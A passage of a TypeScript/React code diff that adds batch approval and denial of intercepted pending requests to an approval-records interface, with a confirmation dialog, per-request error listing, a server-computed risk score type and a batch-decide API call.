|
||||
decisionLock.current = true;
|
||||
setDeciding(true);
|
||||
let decided = 0;
|
||||
const failed: { id: number; error: string }[] = [];
|
||||
try {
|
||||
for (let start = 0; start < ids.length; start += batchDecideMax) {
|
||||
try {
|
||||
const res = await api.interceptBatchDecide(ids.slice(start, start + batchDecideMax), decision);
|
||||
decided += res.decided;
|
||||
for (const r of res.results) if (!r.ok) failed.push({ id: r.id, error: r.error || "Not decided" });
|
||||
} catch (e) {
|
||||
const error = `Not sent: ${(e as Error).message || "request failed"}`;
|
||||
for (const id of ids.slice(start)) failed.push({ id, error });
|
||||
break;
|
||||
}
|
||||
}
|
||||
request.current++;
|
||||
setBatchErrors(failed);
|
||||
setSelected(new Set(failed.map((f) => f.id)));
|
||||
setRevision((v) => v + 1);
|
||||
const verb = decision === "allowed" ? "allowed" : "denied";
|
||||
if (failed.length) toast.error(`${decided} ${verb}, ${failed.length} not decided (see the errors listed above)`);
|
||||
else toast.success(`${decided} ${verb}`);
|
||||
} finally {
|
||||
decisionLock.current = false;
|
||||
setDeciding(false);
|
||||
setBatchDecision(null);
|
||||
await latestLoad.current(true);
|
||||
}
|
||||
};
|
||||
const title = taskId ? "Interception approval" : "Approval records";
|
||||
return (
|
||||
<div className="flex min-w-0 flex-col gap-5">
|
||||
@@ -949,15 +1087,85 @@ export function ApprovalRecords({ taskId }: { taskId?: string }) {
|
||||
<AlertDescription>Failed to load pending approvals: {pendingError}. Click Refresh to retry.</AlertDescription>
|
||||
</Alert>
|
||||
) : null}
|
||||
{batchErrors.length ? (
|
||||
<Alert variant="destructive">
|
||||
<AlertDescription>
|
||||
<p>{batchErrors.length} selected request(s) were not decided and stay pending:</p>
|
||||
<ul className="list-disc pl-4">
|
||||
{batchErrors.map((f) => (
|
||||
<li key={f.id}>
|
||||
#{f.id}: {f.error}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</AlertDescription>
|
||||
</Alert>
|
||||
) : null}
|
||||
{pending.length ? (
|
||||
<section className="overflow-hidden rounded-xl border">
|
||||
<div className="flex items-center gap-2 border-b bg-muted/40 px-4 py-3 font-medium text-sm">
|
||||
<ShieldAlertIcon className="size-4" />
|
||||
Pending ({pending.length})<span className="text-muted-foreground text-xs">expand to allow or deny</span>
|
||||
</div>
|
||||
<ApprovalTable rows={pending} busy={deciding} decide={decide} revision={revision} label="Pending approvals" />
|
||||
<ApprovalTable
|
||||
rows={pending}
|
||||
busy={deciding}
|
||||
decide={decide}
|
||||
revision={revision}
|
||||
label="Pending approvals"
|
||||
selection={selection}
|
||||
/>
|
||||
<div className="flex flex-wrap items-center justify-between gap-2 border-t px-4 py-3 text-sm">
|
||||
<span className="text-muted-foreground">{selectedRows.length} selected</span>
|
||||
<div className="flex flex-wrap gap-2">
|
||||
<Button size="sm" disabled={deciding || !selectedRows.length} onClick={() => setBatchDecision("allowed")}>
|
||||
<CheckIcon data-icon="inline-start" />
|
||||
Approve selected
|
||||
</Button>
|
||||
<Button
|
||||
size="sm"
|
||||
variant="destructive"
|
||||
disabled={deciding || !selectedRows.length}
|
||||
onClick={() => setBatchDecision("denied")}
|
||||
>
|
||||
<XIcon data-icon="inline-start" />
|
||||
Deny selected
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
) : null}
|
||||
<AlertDialog
|
||||
open={batchDecision != null}
|
||||
onOpenChange={(open) => {
|
||||
if (!open && !deciding) setBatchDecision(null);
|
||||
}}
|
||||
>
|
||||
<AlertDialogContent>
|
||||
<AlertDialogHeader>
|
||||
<AlertDialogTitle>
|
||||
{batchDecision === "denied" ? "Deny" : "Approve"} {selectedRows.length} request(s)?
|
||||
</AlertDialogTitle>
|
||||
<AlertDialogDescription>
|
||||
{selectedHigh ? `${selectedHigh} of them are high risk.` : "None of them is high risk."} Each request is
|
||||
decided on its own; one that cannot be decided stays pending and is listed.
|
||||
</AlertDialogDescription>
|
||||
</AlertDialogHeader>
|
||||
<AlertDialogFooter>
|
||||
<AlertDialogCancel disabled={deciding}>Cancel</AlertDialogCancel>
|
||||
<AlertDialogAction
|
||||
variant={batchDecision === "denied" ? "destructive" : "default"}
|
||||
disabled={deciding || !selectedRows.length}
|
||||
onClick={(event) => {
|
||||
event.preventDefault();
|
||||
if (batchDecision) void batchDecide(batchDecision);
|
||||
}}
|
||||
>
|
||||
{batchDecision === "denied" ? "Deny selected" : "Approve selected"}
|
||||
</AlertDialogAction>
|
||||
</AlertDialogFooter>
|
||||
</AlertDialogContent>
|
||||
</AlertDialog>
|
||||
<section className="overflow-hidden rounded-xl border">
|
||||
<div className="border-b px-4 py-3 font-medium text-sm">
|
||||
{filtered ? "Filtered results" : "All records"} ({total})
|
||||
|
||||
@@ -1232,6 +1232,9 @@ export const api = {
|
||||
interceptGetOne: (id: number) => get<InterceptPending>(`/intercept/pending/${id}`),
|
||||
interceptDecide: (id: number, decision: "allowed" | "denied") =>
|
||||
post<{ ok: boolean }>(`/intercept/pending/${id}/decide`, { decision }),
|
||||
// 200 even on partial failure: each id carries its own ok/error.
|
||||
interceptBatchDecide: (ids: number[], decision: "allowed" | "denied") =>
|
||||
post<import("@/lib/types").InterceptBatchDecideResult>("/intercept/pending/batch-decide", { ids, decision }),
|
||||
// No body: the server derives the rule from the stored request, which stays pending.
|
||||
interceptAlwaysAllow: (id: number) =>
|
||||
post<{ rule: InterceptRule; created: boolean }>(`/intercept/pending/${id}/always-allow`),
|
||||
|
||||
@@ -1368,6 +1368,20 @@ export interface InterceptPending {
|
||||
reason: string; // the rule's message or the model's verdict reason (model verdicts carry a [model] prefix)
|
||||
decided_at?: string;
|
||||
created_at: string;
|
||||
// Deterministic risk score, computed by the server when a pending row is read.
|
||||
risk?: InterceptRisk;
|
||||
}
|
||||
|
||||
export interface InterceptRisk {
|
||||
score: number; // 0..100
|
||||
level: "low" | "medium" | "high";
|
||||
reasons: string[];
|
||||
}
|
||||
|
||||
export interface InterceptBatchDecideResult {
|
||||
decided: number;
|
||||
failed: number;
|
||||
results: { id: number; ok: boolean; error?: string }[];
|
||||
}
|
||||
|
||||
// JudgeConfig: global config for model fallback approval (the model decides only when no interception rule matches).
|
||||
|
||||